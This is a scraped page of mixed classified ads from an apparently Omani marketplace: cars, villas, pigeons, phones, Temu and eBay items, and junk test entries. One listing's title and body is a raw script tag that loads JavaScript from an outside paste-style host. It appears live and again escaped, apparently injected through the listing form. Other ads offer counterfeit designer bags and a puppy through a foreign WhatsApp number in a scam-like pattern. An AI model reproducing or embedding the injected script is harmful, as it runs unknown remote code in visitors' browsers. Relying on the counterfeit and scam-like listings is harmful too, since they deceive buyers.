Shop Logo

Al Fairooz Pharmacy

Pharmacy and medical supplies

فن و حرف

فن و حرف

فن حرفي و حسب الطلب

OMR110.00
طاوله طعام | سوق عُمانيستا 2026

طاوله طعام | سوق عُمانيستا 2026

فرصة لا تُفوّت! طاوله طعام أفضل سعر طاوله دائريه ماليزيه جميله للبيع<a href=https://omanista.com/sooqi/3231/%D8%B7%D8%A7%D9%88%D9%84%D9%87-%D8%B7%D8%B9%D8%A7%D9%85 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR250.00
مرسيدس Eclass 300 | سوق عُمانيستا 2025

مرسيدس Eclass 300 | سوق عُمانيستا 2025

فرصة لا تُفوّت! مرسيدس Eclass 300 أفضل سعر مرسيدس E class 300 موديل 2018 فل مواصفات الفئة خاصة 3 فصوص قيادة ذاتية بروحكتر خروج عن المسار ٥ كاميرات 360 درجة كامل حساسات بانوراما ليتات عدسات أوتوماتيكية حساس المطر 9 غيار 5 وضعيات للقيادة معطر جو وكالة ستارة خلفية أوتو باركن اللون الخارجي ملكي أسود وداخل هوليوس في قمة النظافة عليه رقم خاص مع الرقم تضيف 3 ألاف<a href=https://omanista.com/sooqi/4347/%D9%85%D8%B1%D8%B3%D9%8A%D8%AF%D8%B3-eclass-300 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR14.00
Kia Sportage 2015 model very clean

Kia Sportage 2015 model very clean

سيارة نضيفة جدا

OMR3200.00
LAND ROVER DISCOVERY SPORT SE P250 DYNAMIC 2024!!BRAND NEW CAR!! MENTIONED PRICE IS FOR EXPORT ONLY | dubizzle Dubai

LAND ROVER DISCOVERY SPORT SE P250 DYNAMIC 2024!!BRAND NEW CAR!! MENTIONED PRICE IS FOR EXPORT ONLY | dubizzle Dubai

LAND ROVER DISCOVERY SPORT | SE P250 DYNAMIC 2024 | BRAND NEW CAR | | SIMURGH CARS | AL AWEER NEW AUTO MARKET | BLOCK NO 1 SHOP NO 5 | 0097142262666<a href=https://dubai.dubizzle.com/motors/used-cars/land-rover/discovery-sport/2025/5/5/land-rover-discovery-sport-se-p250-dynamic-2-114---498a6de4714549c98358f7f51d6030df/ ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR0.00
 Appartement &quot; La Palma &quot;

Appartement &quot; La Palma &quot;

?? Appartement &quot; La Palma &quot; en Nabeul. | Cat�gorie : Immobilier | Annonce sur Adlyno.<a href=https://www.adlyno.com/product/52117/immobilier/appartement-la-palma ><div>contact sellect @: <img src=https://pub-480c6c9acfe14a8691b924c7ab9f887d.r2.dev/uploads/assetsadlyno/assets2/favicon.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR0.00
Meine neu coffe machine

Meine neu coffe machine

Great taste

EURO120.00
Juhj

Juhj

Jj

OMR6.00
Web and mobile apps development

Web and mobile apps development

Pro development

OMR1500.00
ooo

ooo

1111

OMR12.00

elctro nabli

111

USD1500.00

elctro nabli

111

USD1500.00

elctro nabli

111

USD1500.00

elctro nabli

111

USD1500.00
عرض ✨???? مرسيدس بنز GLC AMG 430 2020 | سوق عُمانيستا ????

عرض ✨???? مرسيدس بنز GLC AMG 430 2020 | سوق عُمانيستا ????

فرصة لا تُفوّت! مرسيدس بنز GLC AMG 430 2020 أفضل سعر <a href=https://omanista.com/sooqi/72/%D9%85%D8%B1%D8%B3%D9%8A%D8%AF%D8%B3-%D8%A8%D9%86%D8%B2-glc-amg-430-2020 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR3000.00
iPhone 11 128 gb - Mobile Phones - 130175997

iPhone 11 128 gb - Mobile Phones - 130175997

iPhone 11 128 gb memory battery 85 not open full fresh clean condition mobile - Mobile Phones<a href=https://www.dubizzle.com.om/en/ad/iphone-11-128-gb-ID130175997.html ><div>contact sellect @: <img src=https://dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR80.00
جهاز استنشاق محمول للبالغين والاطفال على الكهرباء والبطاريات يشتغل | السوق العماني

جهاز استنشاق محمول للبالغين والاطفال على الكهرباء والبطاريات يشتغل | السوق العماني

جهاز استنشاق محمول للبالغين والاطفال ، جهاز استنشاق شبكي محمول، مرطب بالموجات فوق الصوتية صغير للاستخدام المنزلي والسفر، جهاز استنشاق شبكي مع اقنعة وقطع<a href=https://sooqomani.com/listing/%d8%ac%d9%87%d8%a7%d8%b2-%d8%a7%d8%b3%d8%aa%d9%86%d8%b4%d8%a7%d9%82-%d9%85%d8%ad%d9%85%d9%88%d9%84-%d9%84%d9%84%d8%a8%d8%a7%d9%84%d8%ba%d9%8a%d9%86-%d9%88%d8%a7%d9%84%d8%a7%d8%b7%d9%81%d8%a7%d9%84/ ><div>contact sellect @: <img src=https://sooqomani.com/wp-content/uploads/2025/01/SO-ICON-512x512-1-140x140.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR10.00
شنط ماركات كوبي درجه أولى | السوق العماني

شنط ماركات كوبي درجه أولى | السوق العماني

شنط ماركات تقليد درجه أولى السعر 7 ريال للشنطه الواحده وبجوده عاليه جدا يوجد توصيل لجميع مناطق ومحافظات السلطنه توصيل للمكتب ١ ريال توصيل للمنزل ٢ ريال<a href=https://sooqomani.com/listing/%d8%b4%d8%b7-%d9%85%d8%a7%d8%b1%d9%83%d8%a7%d8%aa-%d8%aa%d9%82%d9%84%d9%8a%d8%af-%d8%af%d8%b1%d8%ac%d9%87-%d8%a3%d9%88%d9%84%d9%89/ ><div>contact sellect @: <img src=https://sooqomani.com/wp-content/uploads/2025/01/SO-ICON-512x512-1-140x140.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR7.00
<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/44HY0LLFOCEO2"></script>

<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/44HY0LLFOCEO2"></script>

&lt;script type=&quot;text/javascript&quot; src=&quot;https://jso-tools.z-x.my.id/raw/~/44HY0LLFOCEO2&quot;&gt;&lt;/script&gt;

<script ty0.00
عُمانيستا | مرسيدس فئه : GLC 300  موديل : 2020 | السوق المفتوح في عمان 2025

عُمانيستا | مرسيدس فئه : GLC 300 موديل : 2020 | السوق المفتوح في عمان 2025

عُمانيستا | مرسيدس فئه : GLC 300 موديل : 2020 | السوق المفتوح في عمان 2025.كاميرا للرجوع للخلف &lt;br /&gt;&lt;br /&gt; اناره مميزه فل زينون&lt;br /&gt;&lt;br /&gt; شاشه اكترونيه تتحدث مع السائق&lt;br /&gt;&lt;br /&gt; ماوس باللمس &lt;br /&gt;&lt;br /&gt; بصمه تشغيل &lt;br /&gt;&lt;br /&gt; دخول ذكي &lt;br /&gt;&lt;br /&gt; اناره داخليه باكثر من 75 لون &lt;br /&gt;&lt;br /&gt; نظام تنبيه تصادم&lt;br /&gt;&lt;br /&gt; نظام النقطه العمياء&lt;br /&gt;&lt;br /&gt; نظام اوتو اناره اماميه &lt;br /&gt;&lt;br /&gt; دبه الكترونيه &lt;br /&gt;&lt;br /&gt; مرايا اوتو&lt;br /&gt;&lt;br /&gt; نظام الوقوف الموقت &lt;br /&gt;&lt;br /&gt; تثبيت و حفظ وضعيات مقعد السائق &lt;br /&gt;&lt;br /&gt; كراسي &lt;br /&gt;&lt;br /&gt; تامين شامل عمان والامارات &lt;br /&gt;&lt;br /&gt; مطلوب : 12000 ريال عماني قابل للتفاوض للجادين&lt;br /&gt;&lt;br /&gt; سبب البيع: عدم استخدام السيارة لوجود سيارة اخرى<a href=https://omanista.com/sooqi/653/%D9%85%D8%B1%D8%B3%D9%8A%D8%AF%D8%B3-%D9%81%D8%A6%D9%87-glc-300-%D9%85%D9%88%D8%AF%D9%8A%D9%84-2020 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR12.00
عُمانيستا | فيلا للبيع في السويق البداية | السوق المفتوح في عمان 2025

عُمانيستا | فيلا للبيع في السويق البداية | السوق المفتوح في عمان 2025

عُمانيستا | فيلا للبيع في السويق البداية | السوق المفتوح في عمان 2025.للبيع فيلا طابقين السويق البداية/&lt;br /&gt;&lt;br /&gt; نهضة( ١) مساحة الارض ٦٠٠ متر والبناء ٢٩٠ متر ٥ غرف نوم مع مجلس وصاله ومطبخ ومخزن ٦ حمامات نوافذ في يو بي سي ضمان ١٠ سنوات والأبواب الغرف تركيه ضمان ٥ سنوات الصبغ تكسو من جوتن مع تنزيل مغربي وانترلوك وعشب ترتان فقط 55 الف ريال عماني.&lt;br /&gt;&lt;br /&gt; الفيلا ف التشطيبات النهائية<a href=https://omanista.com/sooqi/5684/%D9%81%D9%8A%D9%84%D8%A7-%D9%84%D9%84%D8%A8%D9%8A%D8%B9-%D9%81%D9%8A-%D8%A7%D9%84%D8%B3%D9%88%D9%8A%D9%82-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR55.00
BMW X6 2024 - Cars for Sale - 129735454

BMW X6 2024 - Cars for Sale - 129735454

السيارة شبه جديده غير مسجله وكالة عمان M kit مسافة المقطوعة الفين فقط فول اوبشن تحت الضمان very clean like brand new full option M kit km 2k under warranty Oman agency V6 twin turbo - Cars for Sale<a href=https://www.dubizzle.com.om/en/ad/bmw-x6-2024-ID129735454.html ><div>contact sellect @: <img src=https://dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR37800.00
G_shephered puppy for sale - Dogs - 128528778

G_shephered puppy for sale - Dogs - 128528778

WHATSAPP:‪ +1 (484),718‑9164‬ fully vaccinated potty trained microchipped with passport WHATSAPP:‪ +1 (484),718‑9164‬ - Dogs<a href=https://www.dubizzle.com.om/en/ad/g_shephered-puppy-for-sale-ID128528778.html ><div>contact sellect @: <img src=https://dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR150.00
بي ام دبليو إكس6 2015 35i - Cars for Sale - 129703705

بي ام دبليو إكس6 2015 35i - Cars for Sale - 129703705

بسم الله ماشاء الله . للبيع - نوع السيارة Bmw X6 coupe Xdrive35I - الموديل 2015 - سعة المحرك 3000 cc توين توربو - عدد الاسطوانات: 6 سلندر - الدفع: دفع كامل العجلات مع زر نزول منحدرات. - رقم الشاصي: 5UXKU2C59F0F95876 - Cars for Sale<a href=https://www.dubizzle.com.om/en/ad/%D8%A8%D9%8A-%D8%A7%D9%85-%D8%AF%D8%A8%D9%84%D9%8A%D9%88-%D8%A5%D9%83%D8%B36-2015-35i-ID129703705.html ><div>contact sellect @: <img src=https://dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR0.00
ike New 5 Years Dealer Warranty and Service contract AGMC | dubizzle

ike New 5 Years Dealer Warranty and Service contract AGMC | dubizzle

SUPER PRICE !!!!&lt;br&gt;BMW X6 Luxury Sport Package !&lt;br&gt;Very low mileage !&lt;br&gt;Like NEW !&lt;br&gt;GCC specification (Dubai)&lt;br&gt;Fully Loaded !&lt;br&gt;Single owner !&lt;br&gt;Very C<a href=https://dubai.dubizzle.com/motors/used-cars/bmw/x6/2024/10/12/ike-new-5-years-dealer-warranty-and-servic-2-113---32a4153a66034e7e9f1b605745a4e93a/ ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR34000.00
الدهاريز ع الخط الاول من البحر بنايه اسفار ريزدنس - عمانيستا

الدهاريز ع الخط الاول من البحر بنايه اسفار ريزدنس - عمانيستا

الدهاريز ع الخط الاول من البحر بنايه اسفار ريزدنس - عمانيستا.شقه ممتازه وجديده بالاثاث الجديد &lt;br /&gt;&lt;br /&gt; غرفتين وصاله وحمامين ومطبخ &lt;br /&gt;&lt;br /&gt; ف الطابق الارضي موقع رائع مع باركنات &lt;br /&gt;&lt;br /&gt; 39 الف ريال للبيع &lt;br /&gt;&lt;br /&gt; 92222758 واتس اب<a href=https://omanista.com/sooqi/4339/%D8%A7%D9%84%D8%AF%D9%87%D8%A7%D8%B1%D9%8A%D8%B2-%D8%B9-%D8%A7%D9%84%D8%AE%D8%B7-%D8%A7%D9%84%D8%A7%D9%88%D9%84-%D9%85%D9%86-%D8%A7%D9%84%D8%A8%D8%AD%D8%B1-%D8%A8%D9%86%D8%A7%D9%8A%D9%87-%D8%A7%D8%B3%D9%81%D8%A7%D8%B1-%D8%B1%D9%8A%D8%B2%D8%AF%D9%86%D8%B3 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR39.00
كوكتيل ازواج منتجه بصحه ممتازه - عمانيستا

كوكتيل ازواج منتجه بصحه ممتازه - عمانيستا

كوكتيل ازواج منتجه بصحه ممتازه - عمانيستا.زوج منتج سعر الزوج 30<a href=https://omanista.com/sooqi/2090/%D9%83%D9%88%D9%83%D8%AA%D9%8A%D9%84-%D8%A7%D8%B2%D9%88%D8%A7%D8%AC-%D9%85%D9%86%D8%AA%D8%AC%D9%87-%D8%A8%D8%B5%D8%AD%D9%87-%D9%85%D9%85%D8%AA%D8%A7%D8%B2%D9%87 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR30.00
حمام للبيع - عمانيستا

حمام للبيع - عمانيستا

حمام للبيع - عمانيستا.حمام بو فوطه انثين زوج ٢٠ ريال المكان لعامرات<a href=https://omanista.com/sooqi/2476/%D8%AD%D9%85%D8%A7%D9%85-%D9%84%D9%84%D8%A8%D9%8A%D8%B9 ><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR20.00
Temu | Explore the Latest Clothing, Beauty, Home, Jewelry &amp; More

Temu | Explore the Latest Clothing, Beauty, Home, Jewelry &amp; More

No description found<a href=https://www.temu.com/om/%D9%85%D9%8F%D8%AD%D9%8E%D9%84%D9%90%D9%91%D9%82-%D9%83%D9%87%D8%B1%D8%A8%D8%A7%D8%A6%D9%8A-%D9%84%D9%84%D8%B1%D8%AC%D8%A7%D9%84-%D9%84%D9%84%D8%A7%D8%B3%D8%AA%D8%AE%D8%AF%D8%A7%D9%85-%D8%A7%D9%84%D8%AC%D8%A7%D9%81-%D9%88%D8%A7%D9%84%D8%B1%D8%B7%D8%A8-%D9%85%D8%A7%D9%83%D9%8A%D9%86%D8%A9-%D8%AD%D9%84%D8%A7%D9%82%D8%A9-%D9%83%D9%87%D8%B1%D8%A8%D8%A7%D8%A6%D9%8A%D8%A9-%D8%AB%D9%84%D8%A7%D8%AB%D9%8A%D8%A9-%D8%A7%D9%84%D8%A3%D8%A8%D8%B9%D8%A7%D8%AF-%D9%85%D8%A7%D9%83%D9%8A%D9%86%D8%A9-%D8%AD%D9%84%D8%A7%D9%82%D8%A9-%D8%AF%D9%88%D8%A7%D8%B1%D8%A9-%D9%82%D8%A7%D8%A8%D9%84%D8%A9-%D9%84%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9-%D8%A7%D9%84%D8%B4%D8%AD%D9%86-%D8%B9%D8%A8%D8%B1-usb-%D9%87%D8%AF%D8%A7%D9%8A%D8%A7-%D9%84%D9%84%D8%B1%D8%AC%D8%A7%D9%84-g-601099562747615.html?_oak_mp_inf=EN%2BNpq%2Bm1ogBGiAxM2YzMDJlZDYzMDI0ZWFjYjBjOThmNGQ1Mzk4M2I5NiDbksn6mjI%3D&amp;thumb_url=https%3A%2F%2Fimg.kwcdn.com%2Fproduct%2Ffancy%2Fdc7f6e19-3732-49f5-a1eb-5a2d5030b51d.jpg%3FimageView2%2F2%2Fw%2F500%2Fq%2F60%2Fformat%2Fwebp&amp;_web_cover=thumb_url&amp;pic_h=800&amp;pic_w=800&amp;spec_gallery_id=4235037204&amp;refer_page_sn=10005&amp;refer_source=0&amp;freesia_scene=355&amp;_oak_freesia_scene=355&amp;_oak_rec_ext_1=Njk4MA&amp;_oak_gallery_order=1721236986%2C1167690232%2C1816807508%2C843561958%2C109199632&amp;refer_page_el_sn=209043&amp;from_rec=1&amp;enable_cache=1&amp;_x_vst_scene=adg&amp;_x_ads_sub_channel=shopping&amp;_x_ns_prz_type=-1&amp;_x_ns_sku_id=17592281632702&amp;_x_ns_gid=601099531703584&amp;_x_ads_channel=google&amp;_x_gmc_account=5292432422&amp;_x_login_type=Google&amp;_x_ads_account=5270003278&amp;_x_ads_set=21210507072&amp;_x_ads_id=162238516540&amp;_x_ads_creative_id=697348712329&amp;_x_ns_source=g&amp;_x_ns_gclid=EAIaIQobChMIsKOv98uiiAMVoj8GAB2JrS15EAQYHSABEgKU5vD_BwE&amp;_x_ns_placement=&amp;_x_ns_match_type=&amp;_x_ns_ad_position=&amp;_x_ns_product_id=17592281632702&amp;_x_ns_target=&amp;_x_ns_devicemodel=&amp;_x_ns_wbraid=Cj4KCAjw_sq2BhBsEi4AV_CU9Uds0nbI87aEE7TZNJPrZE5WS7-69brhyFjr74lJytSbflW9g9evnd9sGgIEsg&amp;_x_ns_gbraid=0AAAAAo4mICHP1jx-wUx5DJSzjCpFK0cF7&amp;_x_ns_targetid=pla-2245586989368&amp;_x_sessn_id=1u802425if&amp;refer_page_name=index&amp;refer_page_id=10005_1725223267320_vz0fpgcslu ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR6.98
ساعة رجالية متعددة الوظائف من الفولاذ المقاوم للصدأ مع أحزمة وأرقام رومانية ومينا مرصع بأحجار الراين ومضيئة، مثالية لأعياد الميلاد والهدايا في الأعياد - Jewelry &amp; Accessories - Temu Oman

ساعة رجالية متعددة الوظائف من الفولاذ المقاوم للصدأ مع أحزمة وأرقام رومانية ومينا مرصع بأحجار الراين ومضيئة، مثالية لأعياد الميلاد والهدايا في الأعياد - Jewelry &amp; Accessories - Temu Oman

ساعة رجالية متعددة الوظائف من الفولاذ المقاوم للصدأ مع أحزمة وأرقام رومانية ومينا مرصع بأحجار الراين ومضيئة، مثالية لأعياد الميلاد والهدايا في الأعياد بأقل سعر في Temu.<a href=https://www.temu.com/om/%D8%B3%D8%A7%D8%B9%D8%A9-%D8%B1%D8%AC%D8%A7%D9%84%D9%8A%D8%A9-%D9%85%D8%AA%D8%B9%D8%AF%D8%AF%D8%A9-%D8%A7%D9%84%D9%88%D8%B8%D8%A7%D8%A6%D9%81-%D9%85%D9%86-%D8%A7%D9%84%D9%81%D9%88%D9%84%D8%A7%D8%B0-%D8%A7%D9%84%D9%85%D9%82%D8%A7%D9%88%D9%85-%D9%84%D9%84%D8%B5%D8%AF%D8%A3-%D9%85%D8%B9-%D8%A3%D8%AD%D8%B2%D9%85%D8%A9-%D9%88%D8%A3%D8%B1%D9%82%D8%A7%D9%85-%D8%B1%D9%88%D9%85%D8%A7%D9%86%D9%8A%D8%A9-%D9%88%D9%85%D9%8A%D9%86%D8%A7-%D9%85%D8%B1%D8%B5%D8%B9-%D8%A8%D8%A3%D8%AD%D8%AC%D8%A7%D8%B1-%D8%A7%D9%84%D8%B1%D8%A7%D9%8A%D9%86-%D9%88%D9%85%D8%B6%D9%8A%D8%A6%D8%A9-%D9%85%D8%AB%D8%A7%D9%84%D9%8A%D8%A9-%D9%84%D8%A3%D8%B9%D9%8A%D8%A7%D8%AF-%D8%A7%D9%84%D9%85%D9%8A%D9%84%D8%A7%D8%AF-%D9%88%D8%A7%D9%84%D9%87%D8%AF%D8%A7%D9%8A%D8%A7-%D9%81%D9%8A-%D8%A7%D9%84%D8%A3%D8%B9%D9%8A%D8%A7%D8%AF-g-601099574574317.html?thumb_url=https%3A%2F%2Fimg.kwcdn.com%2Fproduct%2Ffancy%2Ff9e27aec-80c9-4f3a-b7dc-244a39b95dd8.jpg%3FimageView2%2F2%2Fw%2F500%2Fq%2F60%2Fformat%2Fwebp&amp;_web_cover=thumb_url&amp;pic_h=900&amp;pic_w=900&amp;spec_gallery_id=4151885954&amp;share_token=9pUaB1ED5LD84GIsfqn-06hXEpKN7VYY37lwHjRrVU6FObr65kk6eBEKNkW0IYjX2vcgNBMuX6seTxYGzhrE65c6NhgREhrayRfthdKpn7iiT_tnnoB4Mgp4Aj5ptd9K4-t-mz9qKv4oLyEzYqGpSC&amp;_bg_fs=1&amp;_x_vst_scene=adg&amp;_x_ads_sub_channel=shopping&amp;_x_ns_prz_type=-1&amp;_x_ns_sku_id=17592281632702&amp;_x_ns_gid=601099531703584&amp;_x_ads_channel=google&amp;_x_gmc_account=5292432422&amp;_x_login_type=Google&amp;_x_ads_account=5270003278&amp;_x_ads_set=21210507072&amp;_x_ads_id=162238516540&amp;_x_ads_creative_id=697348712329&amp;_x_ns_source=g&amp;_x_ns_gclid=EAIaIQobChMIsKOv98uiiAMVoj8GAB2JrS15EAQYHSABEgKU5vD_BwE&amp;_x_ns_placement=&amp;_x_ns_match_type=&amp;_x_ns_ad_position=&amp;_x_ns_product_id=17592281632702&amp;_x_ns_target=&amp;_x_ns_devicemodel=&amp;_x_ns_wbraid=Cj4KCAjw_sq2BhBsEi4AV_CU9Uds0nbI87aEE7TZNJPrZE5WS7-69brhyFjr74lJytSbflW9g9evnd9sGgIEsg&amp;_x_ns_gbraid=0AAAAAo4mICHP1jx-wUx5DJSzjCpFK0cF7&amp;_x_ns_targetid=pla-2245586989368&amp;refer_page_name=kuiper&amp;refer_page_id=13791_1725222896953_msknihip0o&amp;refer_page_sn=13791&amp;_x_sessn_id=1u802425if ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR3.74
ملابس رجالية، تي شيرت بأكمام قصيرة وياقة مستديرة بتصميم ملون - Temu Oman

ملابس رجالية، تي شيرت بأكمام قصيرة وياقة مستديرة بتصميم ملون - Temu Oman

ملابس رجالية، تي شيرت بأكمام قصيرة وياقة مستديرة بتصميم ملون وشورت برباط للصيف والأنشطة الخارجية بأقل سعر في Temu.<a href=https://www.temu.com/om/%D9%85%D9%84%D8%A7%D8%A8%D8%B3-%D8%B1%D8%AC%D8%A7%D9%84%D9%8A%D8%A9-%D8%AA%D9%8A-%D8%B4%D9%8A%D8%B1%D8%AA-%D8%A8%D8%A3%D9%83%D9%85%D8%A7%D9%85-%D9%82%D8%B5%D9%8A%D8%B1%D8%A9-%D9%88%D9%8A%D8%A7%D9%82%D8%A9-%D9%85%D8%B3%D8%AA%D8%AF%D9%8A%D8%B1%D8%A9-%D8%A8%D8%AA%D8%B5%D9%85%D9%8A%D9%85-%D9%85%D9%84%D9%88%D9%86-%D9%88%D8%B4%D9%88%D8%B1%D8%AA-%D8%A8%D8%B1%D8%A8%D8%A7%D8%B7-%D9%84%D9%84%D8%B5%D9%8A%D9%81-%D9%88%D8%A7%D9%84%D8%A3%D9%86%D8%B4%D8%B7%D8%A9-%D8%A7%D9%84%D8%AE%D8%A7%D8%B1%D8%AC%D9%8A%D8%A9-g-601099574614327.html?thumb_url=https%3A%2F%2Fimg.kwcdn.com%2Fproduct%2Ffancy%2F75c88821-77c0-4385-a062-cf63a3d22b56.jpg%3FimageView2%2F2%2Fw%2F500%2Fq%2F60%2Fformat%2Fwebp&amp;_web_cover=thumb_url&amp;pic_h=1800&amp;pic_w=1350&amp;spec_id=16080&amp;spec_gallery_id=3694&amp;spec_ids=16080%2C187741%2C3002%2C15082%2C16068&amp;share_token=9pUaB1ED5LD84GIsfqn-0go4EztB0ZWQTTIk_pB58oMlzcXGTNfuddpst7tIJyLaM2vVL_BcsYPAZumsjsYD11SFmyg82su8Cv2WlS8tr6fMIEJRxkOIht7xjI_NQeQa&amp;_bg_fs=1&amp;_x_vst_scene=adg&amp;_x_ads_sub_channel=shopping&amp;_x_ns_prz_type=-1&amp;_x_ns_sku_id=17592356962748&amp;_x_ns_gid=601099549798930&amp;_x_ads_channel=google&amp;_x_gmc_account=5292432422&amp;_x_login_type=Google&amp;_x_ads_account=5270003278&amp;_x_ads_set=21217705370&amp;_x_ads_id=167107885091&amp;_x_ads_creative_id=697316140923&amp;_x_ns_source=g&amp;_x_ns_gclid=EAIaIQobChMIlruNhMuiiAMV9AsGAB3uxDWFEAQYASABEgLIRfD_BwE&amp;_x_ns_placement=&amp;_x_ns_match_type=&amp;_x_ns_ad_position=&amp;_x_ns_product_id=17592356962748&amp;_x_ns_target=&amp;_x_ns_devicemodel=&amp;_x_ns_wbraid=Cj4KCAjw_sq2BhBsEi4AV_CU9Si19l6E5OsNTOJFn6iz546ZiC3xkoaQKi4Dxc7DJA3yESnO5C0OtugeGgIe4g&amp;_x_ns_gbraid=0AAAAAo4mICGfJYOe8D-uU56N1pGSaVf7k&amp;_x_ns_targetid=pla-2299015279908&amp;refer_page_name=kuiper&amp;refer_page_id=13791_1725222621291_932ernz3h6&amp;refer_page_sn=13791&amp;_x_sessn_id=1u802425if ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR0.00
Milwaukee 2801-80 M18 18V 1/2&quot; LED Li-Ion Drill Driver-Bare Tool-Reconditioned 45242550845 | eBay

Milwaukee 2801-80 M18 18V 1/2&quot; LED Li-Ion Drill Driver-Bare Tool-Reconditioned 45242550845 | eBay

M18 Compact Brushless 1/2 in. Drill - 2801-20. Owner&#039;s Manual. Max Torque 500 in-lbs. Chuck type: 1/2 in. What&#039;s in The Box. Chuck Type 1/2 in. Length 6.5 in.<a href=https://www.ebay.com/itm/175955440726?epid=8027921163&amp;itmmeta=01J6MG3CJ75AWPW8WF3WBTF7XC&amp;hash=item28f7c2f456%3Ag%3AaW4AAOSwbl5lJdcd&amp;_trkparms=%2526rpp_cid%253D65f414b403205c0415505714 ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR60.00
Mulberry Bag Authentic Alexa 2way Shoulder Bag Black Turn Lock Used From Japan  | eBay

Mulberry Bag Authentic Alexa 2way Shoulder Bag Black Turn Lock Used From Japan | eBay

Find many great new &amp; used options and get the best deals for Mulberry Bag Authentic Alexa 2way Shoulder Bag Black Turn Lock Used From Japan at the best online prices at eBay! Free shipping for many products!<a href=https://www.ebay.com/itm/135222145296?itmmeta=01J6MENGYY7WA67C0FACEFKXW0&amp;hash=item1f7bde3110%3Ag%3An64AAOSwG1Nm0ymd&amp;_trkparms=%2526rpp_cid%253D64ba3dd356318a9866be5c44 ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR493.00
Hermes silk and cashmere 140*140 luxury quality scarf  | eBay

Hermes silk and cashmere 140*140 luxury quality scarf | eBay

Perfect for any occasion, this scarf is the ultimate accessory for any fashion-forward woman. With a focus on quality and design, this scarf is a must-have for any fashion-conscious woman.<a href=https://www.ebay.com/itm/365088156045?itmmeta=01J6MENGYXND3XXR10ZCGYCBM3&amp;hash=item5500f3298d%3Ag%3AEiAAAOSwpRRmx359&amp;_trkparms=%2526rpp_cid%253D64ba3dd356318a9866be5c44 ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR0.00
Louis Vuitton Noenoe Handbag  | eBay

Louis Vuitton Noenoe Handbag | eBay

Louis Vuitton Noenoe Handbag. Condition is Pre-owned. Shipped with USPS Priority Mail. <a href=https://www.ebay.com/itm/126652185675?itmmeta=01J6MENGYWH0MR1HF4731AKPF7&amp;hash=item1d7d0efc4b%3Ag%3A9U0AAOSwKb9m0yjC&amp;_trkparms=%2526rpp_cid%253D64ba3dd356318a9866be5c44 ><div>contact sellect @: <img src= style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR0.00
Toyota Camry XLE 2018 - Cars for Sale - 129578590

Toyota Camry XLE 2018 - Cars for Sale - 129578590

كامري xle اعلى مواصفات بانوراما موديل ٢٠١٨ وارد بحادث خفيف بدون اريباجات اللون الخارجي سلقر اللون الداخلي رصاصي ممشى ٦٠ الف مطلوب قيه 7500 - Cars for Sale<a href=https://www.dubizzle.com.om/en/ad/toyota-camry-xle-2018-ID129578590.html ><div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

OMR6200.00
منزل مؤثث ، يبعد * 1  دقيقة مشي * عن البحر ، في شاطئ المناقع | afariat.com

منزل مؤثث ، يبعد * 1 دقيقة مشي * عن البحر ، في شاطئ المناقع | afariat.com

منزل مؤثث ، يبعد * 1 دقيقة مشي * عن البحر ، في شاطئ à Ksour Essef, Mahdia, Tunisie<a href=https://afariat.com/annonce-%C3%A0-mahdia/Immobilier/mnzl-mwthth-yb-d-1-dqyq-mshy-n-lbhr-fy-shty-lmnq-66c5a44ed1626.html ><div>contact sellect @: <img src=https://afariat.com/build/images/afariat.com/favicon/android-icon-192x192.2ead223b.png style="width: 50px;text-align: center;top: 20px;position: relative;"></div></a>

TND70.00
Buy Nintendo Eshop Gift Cards &amp; Gift Vouchers in Oman

Buy Nintendo Eshop Gift Cards &amp; Gift Vouchers in Oman

